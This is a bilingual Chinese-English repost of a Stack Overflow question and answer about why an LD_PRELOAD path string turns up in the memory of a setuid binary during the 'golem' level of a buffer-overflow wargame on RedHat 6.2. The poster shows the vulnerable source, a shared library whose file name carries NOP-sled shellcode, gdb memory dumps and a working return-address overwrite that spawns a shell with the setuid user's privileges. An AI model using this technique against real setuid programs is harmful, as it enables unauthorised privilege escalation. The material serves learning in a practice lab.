为什么在RedHat 6.2中将`LD_PRELOAD`中指定的字符串加载到setuid可执行文件的内存中? [英] Why is the string specified in `LD_PRELOAD` loaded on the memory of setuid executables in RedHat 6.2?

查看:110
本文介绍了为什么在RedHat 6.2中将`LD_PRELOAD`中指定的字符串加载到setuid可执行文件的内存中?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

首先,让我告诉您有关情况. 我正在解决名为 BoF之王的战争游戏的问题,该游戏基于 RedHat Linux 6.2 ,该游戏具有 no 地址空间布局随机化(ASLR) NX位 ASCII铠装等.并且gcc在编译代码时不会产生任何虚拟效果.当我尝试解决名为golem的问题时,我想知道一些事情.

First of all, let me tell you the context. I'm solving problems of the wargame called The lord of the BoF, which is based on RedHat Linux 6.2, which has no address space layout randomization(ASLR), NX bit, ASCII armor, etc.. And the gcc there does not make any dummy when it compiles code. When I was trying to solve the problem called golem, I wondered something.

这是golem的源代码.如您所见,它用0 填充了整个堆栈,除了main的返回地址.

This is the source code of the golem. As you can see, it fills the entire stack with 0, except for the return address of main.

login: skeleton
Password: 
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ bash2
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ ls
golem  golem.c
[skeleton@localhost skeleton]$ cat golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
    memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

golem带有 setuid 的可执行文件.

The golem is an executable with setuid.

[skeleton@localhost skeleton]$ ls -l . 
total 16
-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem
-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c

我制作了一个空的共享库,其名称包含shellcode,并使用文件的绝对路径设置了环境变量LD_PRELOAD.

I made an empty shared library whose name contains shellcode, and set an environment variable LD_PRELOAD with the file's absolute path.

[skeleton@localhost skeleton]$ echo "" > so.c
[skeleton@localhost skeleton]$ gcc so.c -fPIC -shared -o `python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
[skeleton@localhost skeleton]$ export LD_PRELOAD=`pwd`/`python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`

然后我复制了golem以便使用gdb对其进行调试.我对其进行了调试,并在$ebp-1264(0xbffff6b8)处找到了字符串/home/skeleton/...(Shellcode)....so.

Then I copied the golem in order to debug it with gdb. I debugged it, and I found the string /home/skeleton/...(Shellcode)....so at $ebp-1264(0xbffff6b8).

[skeleton@localhost skeleton]$ cp ./golem /tmp/em
[skeleton@localhost skeleton]$ gdb -q /tmp/em
(gdb) b *main+3
Breakpoint 1 at 0x8048473
(gdb) r
Starting program: /tmp/em 

Breakpoint 1, 0x8048473 in main ()
(gdb) x/50x $ebp-5000
0xbfffe820: 0x00000267  0x00000000  0x000003f0  0x000006db
...
(gdb) 
0xbfffe8e8: 0x00000358  0x000003ac  0x0000058d  0x0000070d
...
(gdb) 
0xbfffe9b0: 0x00000318  0x000006cb  0x000006e3  0x0000046b
...
(gdb) 
0xbfffea78: 0x000004fa  0x00000570  0x000006b4  0x00000000
...
(gdb) 
0xbfffeb40: 0x00000242  0x000006e7  0x000005a0  0x000005fa
...
(gdb) 
0xbfffec08: 0x00000404  0x00000648  0x00000577  0x000002ec
...
(gdb) 
0xbfffecd0: 0x00000000  0x00000000  0x000003a2  0x0000026c
...
(gdb) 
0xbfffed98: 0x0000009c  0x000005fc  0x000001c2  0x00000563
...
(gdb) 
0xbfffee60: 0x00000000  0x000004d9  0x000006c9  0x00000277
...
(gdb) 
0xbfffef28: 0x000005f6  0x00000551  0x000000b6  0x00000000
...
(gdb) 
0xbfffeff0: 0x000003a4  0x00000351  0x000006cd  0x000000b9
...
(gdb) 
0xbffff0b8: 0x0000045f  0x000006dd  0x000004a6  0x00000000
...
(gdb) 
0xbffff180: 0x000001c0  0x000005f1  0x00000457  0x00000712
...
(gdb) 
0xbffff248: 0x0000070b  0x00000167  0x00000555  0x00000619
...
(gdb) 
0xbffff310: 0x000004aa  0x000006be  0x000003ef  0x00000000
...
(gdb) 
0xbffff3d8: 0x0000062e  0x00000569  0x00000000  0x000005a1
...
(gdb) 
0xbffff4a0: 0xbfffe3cc  0xbfffe39c  0xbfffe414  0x00001000
...
(gdb) 
0xbffff568: 0x40013c00  0x00000004  0x40014ba0  0x00000003
...
(gdb) 
0xbffff630: 0x40013c00  0x4001a0d4  0x40010c9e  0x40000814
0xbffff640: 0x400138d4  0x40001402  0x400002f4  0x080482d0
0xbffff650: 0x080482d0  0xbffff69c  0x00000002  0x40023fd0
0xbffff660: 0x40013c00  0x4000ba15  0x40013868  0x40000814
0xbffff670: 0x400041b0  0x00000001  0xbffff684  0x40001528
0xbffff680: 0x000002c8  0x00000000  0x080482d0  0x00000000
0xbffff690: 0x00000001  0x40000824  0xbffff6a4  0x400075bb
0xbffff6a0: 0x40017000  0x00002fb2  0x40013868  0xbffff8e4
0xbffff6b0: 0x4000380e  0x400144d8  0x6d6f682f  0x6b732f65
0xbffff6c0: 0x74656c65  0x902f6e6f  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6e0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f0: 0x90909090  0x90909090
(gdb) 
0xbffff6f8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff708: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff718: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff728: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff738: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff748: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff758: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff768: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff778: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff788: 0x90909090  0x31909090  0x616850c0  0x68687361
0xbffff798: 0x6e696261  0x4e243480  0x04247480  0x2474804e
0xbffff7a8: 0xe3894e05  0xe1895350  0x0bb0d231  0x732e80cd
0xbffff7b8: 0x4000006f  0x40013868
(gdb) x/s 0xbffff6c8
0xbffff6c8:  '\220' <repeats 199 times>, "1"...
(gdb) x/s 0xbffff6c7
0xbffff6c7:  '\220' <repeats 200 times>...
(gdb) x/s 0xbffff6c7
0xbffff6c7:  '\220' <repeats 200 times>...
(gdb) 
0xbffff78f:  "1�Phaashhabin\2004$N\200t$\004N\200t$\005N\211�PS\211�1Ұ\013�\200.so"
(gdb) q
The program is running.  Exit anyway? (y or n) y

我用预期的shellcode地址改写了main的返回地址,以便可以使用 setuid 执行shellcode,并且可以正常工作.

I overwrote the return address of the main with the expected address of the shellcode so that the shellcode could be executed with the setuid, and it worked.

[skeleton@localhost skeleton]$ /tmp/em `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)
bash$ exit  
exit
[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$ exit
exit
[skeleton@localhost skeleton]$ exit
...

问题

为什么在具有setuid 的可执行文件的内存中加载了在环境变量LD_PRELOAD 中指定的共享库文件的路径字符串? 我被告知LD_PRELOAD不能与setuid 一起使用.

The question

Why was the shared library file's path string specified in an environment variable LD_PRELOAD loaded on the memory of the executable that has setuid? I was told that LD_PRELOAD cannot be used with setuid.

  • Stack layout
  • LD_PRELOAD with setuid binary
  • why is the value of LD_PRELOAD on the stack (The OP is talking about the same problem, golem, but it's quite differ from what I'm asking.)

推荐答案

在Linux上,所有环境变量都可以通过main()的第三个特殊参数(通常称为envp)在程序中看到:

On Linux, all environment variables are visible to a program via a special third argument to main() traditionally called envp: http://crasseux.com/books/ctutorial/Environment-variables.html

如果envpmain()签名的一部分,它将指向包含所有环境变量的数组.即使不是,也可以在程序的地址空间中保留该数组.

If envp is part of your main() signature, it will point to an array containing all the environment variables. Even if it's not, it makes sense that the array might still exist in your program's address space.

这都不表示加载程序实际上在任何特定情况下都遵守LD_PRELOAD-可以随意忽略它,例如在setuid下,但该变量仍然存在.

None of this means that the loader actually respects LD_PRELOAD in any specific scenario--it is free to ignore it, e.g. under setuid, but the variable will still exist.

这篇关于为什么在RedHat 6.2中将`LD_PRELOAD`中指定的字符串加载到setuid可执行文件的内存中?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆